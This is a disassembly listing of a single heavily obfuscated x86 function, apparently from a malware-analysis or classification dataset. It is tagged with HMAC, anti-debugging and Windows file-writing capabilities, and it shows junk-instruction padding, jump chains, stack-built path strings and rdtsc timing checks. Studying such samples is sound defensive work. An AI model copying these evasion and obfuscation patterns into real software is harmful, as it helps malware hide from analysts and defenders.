Function at 0x1021145b
Capabilities:
Authenticate hmac
Execute anti-debugging instructions
Write file on windows

Disassembly:
push 0
not ecx
push 0
push 0
jmp 0x103446fd
je 0x1031c26e
cmp eax, 0x39
je 0x1031c26e
cmp eax, 0x3a
jne 0x1030c82b
cmp byte [0x856568], 0
je 0x103466eb
mov ecx, dword [0x101085a0]
jmp 0x1032781e
call fcn.10003700
add esp, 0xc
xchg cl, ch
lea ecx, [esp + 0x204]
push ecx
jmp 0x100017f9
jne 0x101a31e2
mov eax, dword [esp + 0x18]
add dword [esp + 0x14], esi
inc eax
cmp bp, 0x1c76
cmp eax, ebx
jmp 0x103251e5
call esi
test eax, eax
jmp 0x101a31dc
mov byte [esp + 0x1b5], 0x43
jmp 0x10020479
call fcn.1004d436
mov esp, ebp
mov bp, 0x4104
not ebp
mov ebp, esp
pop ebp
ret
mov dword [esp + 0x20], ecx
jmp 0x1038ae00
call fcn.10003700
call 0x102d980e
add esp, 0xc
lea eax, [esp + 0x204]
jmp 0x1035b358
jb 0x1018d8fe
call fcn.1004e3d1
mov eax, dword [esp + 0x14]
cmovle di, si
mov ch, 0x30
mov ecx, dword [0x10109f9c]
lea esi, [eax + ecx]
mov cx, ax
mov ecx, 0x20
lea edi, [esp + 0x124]
rep movsd dword es:[edi], dword [esi]
cmovb cx, sp
mov esi, pe_nt_image_headers32
not ch
cmovs cx, di
xchg ch, cl
lea ecx, [esp + 0x124]
jmp 0x103c988f
push 0x1f0001
jmp 0x1015aba1
je 0x10119de7
push eax
call dword [0x100c1354]
jmp 0x102e3770
call esi
mov eax, dword [esp + 0x1a8]
test sp, 0x21c3
clc
cmp eax, 0x1a
jmp 0x1039e9e8
push 0
jmp 0x101d89ed
xor edx, edx
setno cl
push edx
push edx
mov ecx, 0x24312bcc
mov eax, 0x4d
mov ecx, 0x59d82d09
push edx
movsx cx, ah
jmp 0x103b6e02
mov word [esp + 0x1e0], dx
jmp 0x10229fa2
push 0
jmp 0x102c5d93
mov word [esp + 0x1de], cx
jmp 0x101cd81b
mov dword [esp + 0x18], ecx
jmp 0x10239cf9
je 0x103ba084
mov ecx, dword [esp + 0x14]
add dx, 0xef9
rcr dh, 0xa1
shl edx, 0xf7
xor ecx, 0x87654321
movsx dx, dh
mov dx, 0x3a2e
push ecx
lea edx, [esp + 0x1b4]
jmp 0x10273e4b
push edx
jmp 0x1037780e
push ebp
mov ebp, esp
and eax, edi
sar al, cl
bt ax, di
and esp, 0xfffffff8
mov ax, 0x3dbe
add al, 0x5b
push 0xffffffffffffffff
rol eax, 0xab
not al
push 0x100bfe7b
mov eax, dword fs:[0]
cmp esi, esp
test edx, 0x80539ad
test bp, di
push eax
sub esp, 0x408
add ax, 0x2e88
bsr eax, edi
mov eax, dword [0x100f3de0]
xor eax, esp
mov dword [esp + 0x400], eax
bts ax, si
shl ah, cl
push ebx
sbb bx, si
cmp al, 0x4e
movsx bx, al
push esi
ror bl, cl
btc ax, 0x76
push edi
mov eax, dword [0x100f3de0]
xchg bx, bx
cmc
or bx, 0x7675
xor eax, esp
rcl bx, cl
or bx, cx
btc bx, 0x68
push eax
adc eax, 0x1b5d1b6f
shl bh, cl
lea eax, [esp + 0x418]
mov dword fs:[0], eax
mov eax, dword [0x10109f88]
mov ebx, eax
stc
sub ebx, dword [0x10109f84]
cmc
xor ecx, ecx
clc
stc
sar ebx, 6
clc
cmp ebx, ecx
jmp 0x1016d1ad
call edi
test eax, eax
jmp 0x101f93eb
jle 0x102de6cc
mov dword [esp + 0x14], ecx
jmp 0x102ea1c4
rep movsd dword es:[edi], dword [esi]
mov esi, 0x41ae5592
movzx esi, bx
mov esi, esi
mov esi, 0x40
movzx cx, bl
movzx ecx, bx
bswap ecx
lea ecx, [esp + 0x64]
jmp 0x102ccea8
je 0x1031c26e
cmp eax, 0x38
jmp 0x1011ef54
push edx
movsx dx, ah
push str._s_d
movzx edx, ax
lea edx, [esp + 0x210]
jmp 0x1017d32b
je 0x103ba084
mov edx, dword [esp + 0x14]
bts ax, bx
sets al
btc eax, ebx
xor edx, 0x87654321
mov ax, bp
cwde
cmovae eax, ebx
push edx
mov ah, 0xd1
cmovns dx, bx
lea eax, [esp + 0x1b4]
cmovg dx, di
movsx edx, ax
mov edx, edx
push eax
movsx edx, cx
bswap edx
push str._s_d
cmovnp dx, dx
lea edx, [esp + 0x210]
jmp 0x1014b336
xor ecx, esp
jmp 0x10167eed
push 0
jmp 0x103462fc
push ecx
jmp 0x102aaebc
call 0x10182007
mov esi, dword [0x100c1388]
jmp 0x10338e80
call fcn.1001d990
mov edx, ecx
push edx
jmp 0x1039ef35
jl 0x102ea1bf
mov eax, dword [0x10109fa0]
setae bl
mov ebx, eax
sub ebx, dword [0x10109f9c]
cmc
xor ecx, ecx
cmp ch, 0xbd
jmp 0x103bf9d8
push 0
jmp 0x103d8162
mov eax, dword [0x10109f88]
sub eax, dword [0x10109f84]
cmp si, ax
test dl, 0x81
sar eax, 6
cmp dword [esp + 0x18], eax
jmp 0x103004bf
mov ecx, 0x64
adc al, 0x35
mov word [esp + 0x1e4], cx
xor eax, 0x57e20771
bswap eax
mov edx, 0x6f
cwde
rcl eax, 0xea
xchg cl, al
mov word [esp + 0x1e6], dx
sub dx, cx
mov eax, 0x6e
mov word [esp + 0x1e2], ax
mov ecx, 0x73
cmovns eax, ebp
shld dx, bp, 0x75
mov word [esp + 0x1ea], cx
dec cx
rcl cx, 0x25
mov edx, 0x55
add cx, bx
mov word [esp + 0x1ec], dx
adc cl, 0x76
adc ax, bp
mov eax, 0x77
sar dx, 0xfb
mov word [esp + 0x1e8], ax
mov ecx, 0x70
shrd eax, esp, 0x37
sbb dx, dx
xchg dx, dx
mov word [esp + 0x1f0], cx
btr ecx, ebx
dec ch
cmp dl, 0x4b
mov edx, 0x65
mov word [esp + 0x1f2], dx
xor ecx, 0x658500b
mov eax, 0x64
mov word [esp + 0x1ee], ax
sub eax, eax
mov ecx, 0x61
mov word [esp + 0x1f6], cx
bts eax, eax
mov edx, 0x2e
shr cx, 0xf3
mov eax, 0x74
btc ecx, ebx
mov word [esp + 0x1f8], dx
movsx ecx, sp
not cl
mov ecx, 0x6f
movsx edx, di
mov word [esp + 0x1f4], ax
shr edx, 0xc3
lahf
mov word [esp + 0x1fc], cx
cmc
rcr dl, cl
xadd eax, eax
mov edx, 0x67
mov eax, 0x6c
push 0x100e7aac
not ch
adc cl, dl
lea ecx, [esp + 0x1cc]
mov word [esp + 0x202], dx
sbb dx, dx
and dx, 0x21f7
xor dx, dx
mov word [esp + 0x1fe], ax
xor eax, eax
cmova dx, sp
push ecx
xchg edx, edx
movsx dx, al
setno dl
lea edx, [esp + 0x28]
jmp 0x101fa11c
jb 0x103004ca
call fcn.1004e3d1
mov eax, dword [esp + 0x14]
bswap di
cmovge ecx, ebp
mov ecx, dword [0x10109f84]
movzx esi, si
bswap di
lea esi, [eax + ecx]
mov edi, ebx
mov ecx, 0x10
lea edi, [esp + 0x64]
jmp 0x10261ad5
call dword [0x100c1384]
jmp 0x1031c273
push 0
jmp 0x103f9956
call fcn.10003540
mov ecx, dword [esp + 0x418]
sbb bh, 6
mov dword fs:[0], ecx
and si, cx
xchg edi, ecx
bts esi, ecx
pop ecx
pop edi
bswap cx
movsx ebx, bp
xchg bh, bl
pop esi
or cx, dx
mov bx, si
pop ebx
mov ecx, dword [esp + 0x400]
jmp 0x10289dcb
mov dword [esp + 0x18], eax
jmp 0x102de6c6
push ecx
jmp 0x103466e6
push 0x10106a88
jmp 0x10367973
push edx
jmp 0x101eae53
push 0xbb8
jmp 0x101a39c5
push 0
movzx ecx, dx
jmp 0x103aa6a4
push 0
push 0x100e90c0
call edi
test eax, eax
jmp 0x102854ab
call 0x1017ad5a
push 0x3e8
jmp 0x1036d0ee
call 0x103670a7
mov edx, 0x32
cmovae ecx, edx
bt eax, esp
mov word [esp + 0x1b4], dx
sar cl, cl
btc edx, ebx
mov edx, 0x74
cwde
mov eax, 0x4c
bt ecx, 0xa3
mov word [esp + 0x1b0], ax
adc ax, ax
mov word [esp + 0x1ba], dx
jmp 0x101c9d66
je 0x1031c26e
cmp eax, 0x22
je 0x1031c26e
cmp eax, 0x36
jmp 0x1026554b
push eax
push 0
jmp 0x10192f76
mov word [esp + 0x1d0], cx
movzx ecx, dx
mov cx, si
push edx
movzx ecx, si
cmovs ecx, ebp
mov ecx, 0x78
jmp 0x103388c5
push section..text
jmp 0x101be83d
call esi
cmp dword [0x101080ac], 0
jmp 0x103d0fcc
call 0x101cfa7f
test eax, eax
jmp 0x1015895c
mov byte [esp + 0x1b4], 0x4b
jmp 0x1015f78e
mov dword [esp + 0x1a8], ecx
jmp 0x101f46dd
je 0x1031c26e
cmp eax, 0x19
jmp 0x10356f52
push 0
jmp 0x103f28c9
jle 0x1034c269
mov dword [esp + 0x14], ecx
jmp 0x103ac33b
lea ecx, [esp + 0x24]
jmp 0x102c4826
sub eax, dword [0x10109f9c]
stc
sar eax, 7
cmp esi, 0xf9a1080
cmp dword [esp + 0x18], eax
jmp 0x1018d8f3
mov word [esp + 0x1c2], ax
mov eax, 0x65
movzx ecx, dx
cmovns ecx, ecx
xchg cx, cx
push edx
cmovge ecx, esi
mov word [esp + 0x1cc], ax
lea eax, [esp + 0x24]
not ch
mov cx, 0x2011
cmovb ecx, edi
push eax
mov ecx, 0x48
mov word [esp + 0x1c6], cx
xchg cx, cx
push edx
bswap ecx
cmovle ecx, eax
mov ecx, 0x75
jmp 0x10360368
mov eax, dword [0x10109fb8]
bt bx, ax
stc
mov ebx, eax
sub ebx, dword [0x10109fb4]
sub ecx, ecx
clc
sar ebx, 6
cmc
test cl, 0x74
jmp 0x10031b18
sar ebx, 7
cmp sp, bp
cmp ch, 0x1d
cmp ebx, ecx
mov dword [esp + 0x18], ecx
jmp 0x103a766e
call fcn.1001d990
mov edx, ecx
jmp 0x103f0cd5
je 0x1030c82b
mov edx, 0x43
xchg ecx, eax
sub cx, cx
mov word [esp + 0x1c8], dx
sar eax, cl
mov edx, 0x57
mov word [esp + 0x1ce], dx
bsr eax, eax
mov eax, 0x3a
bts cx, di
mov word [esp + 0x1ca], ax
xor eax, edi
bswap eax
mov ecx, 0x5c
btr ax, bx
sal dx, 0x9c
btc ax, sp
mov word [esp + 0x1cc], cx
xor dl, 0xa7
rdtsc
rol ch, 0xf9
mov edx, 0x44
or ah, 0xec
shrd ax, bx, 0xd5
rcr ax, 0x23
mov word [esp + 0x1d4], dx
mov eax, 0x49
rcr dx, cl
cwd
mov word [esp + 0x1d0], ax
and edx, eax
adc edx, edi
mov ecx, 0x4e
mov word [esp + 0x1d2], cx
sub edx, ebp
sal cl, cl
mov ecx, 0x57
cwd
mov dx, 0x26b9
mov word [esp + 0x1d8], cx
shr al, 0x6e
bts edx, edx
inc eax
mov word [esp + 0x1de], cx
shr al, cl
mov edx, 0x53
neg ecx
movsx cx, al
and ch, ah
mov word [esp + 0x1da], dx
rol edx, cl
mov eax, 0x4f
cmovb cx, cx
mov word [esp + 0x1d6], ax
add ax, 0x2687
btr edx, esp
bsf eax, ebx
mov edx, 0x69
xadd eax, ecx
setne al
mov word [esp + 0x1e0], dx
cmp ah, ah
and ecx, 0x3ff55378
and dx, di
mov eax, 0x5c
sar ecx, 0x71
mov word [esp + 0x1dc], ax
inc cl
invalid